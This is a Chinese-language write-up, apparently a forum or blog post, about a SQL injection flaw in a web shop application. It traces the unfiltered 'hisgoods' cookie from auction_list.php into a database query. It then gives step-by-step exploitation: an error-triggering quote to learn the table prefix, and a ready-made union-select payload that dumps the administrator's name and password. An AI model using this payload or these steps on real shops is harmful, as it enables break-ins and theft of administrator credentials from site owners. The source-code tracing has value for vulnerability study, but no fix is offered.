起因是有个朋友用这个程序搭建了一个网店,叫我帮忙测试一下。

在网上找到一个已经公布的0day。但是参数是包含在单引号里,除非GPC=off。所以就自己读了一下源码。

漏洞出在根目录的“auction_list.php”,第77-86行:

/* 浏览记录 */
$getcookie = get_hisgoods_cookie();
$goodshistory = array();
if($getcookie) {
        arsort($getcookie);
        $getcookie = array_keys($getcookie);
        $gethisgoodsid = implode(",",array_slice($getcookie, 0, 4));
        $sql = "select is_set_image,goods_id,goods_name,goods_thumb,goods_price from $t_goods where goods_id in ($gethisgoodsid)";
        $goodshistory = $dbo->getRs($sql);
}

$gethisgoodsid这个参数未经过滤就带入查询。它是由$getcookie得来的,跟一下$getcookie这个变量,即get_hisgoods_cookie()函数。

“foundation/fcookie.php”中:

function get_hisgoods_cookie() {
        return get_cookie("hisgoods");
}

同样是“foundation/fcookie.php”。

function get_cookie($k) {
        global $session_prefix;
        if(isset($_COOKIE[$session_prefix.$k])) return $_COOKIE[$session_prefix.$k];
        return null;
}

原来是在COOKIE里取得变量的,至此漏洞产生。

利用方法:

    1.先随便看一个商品,然后访问“http://localhost/auction_list.php”,使用cookies浏览器的话,你会发现里面会多了个类似“iweb_hisgoods[22(这个数字是你访问过的商品ID)]=1282282762”的项目。

    2.首先在“22”后面加个单引号,使其暴错,得出数据表的前缀。然后将“22”改为“22) and 1%3D2 union select 1,admin_password,admin_name,4,5 from ishop_admin_user-- ”(ishop_是你刚才得出的前缀,“--”即注释符后一定要加个空格)。

    3.再访问“http://localhost/auction_list.php”,查看右下角最新浏览就会得出管理员的帐号和密码。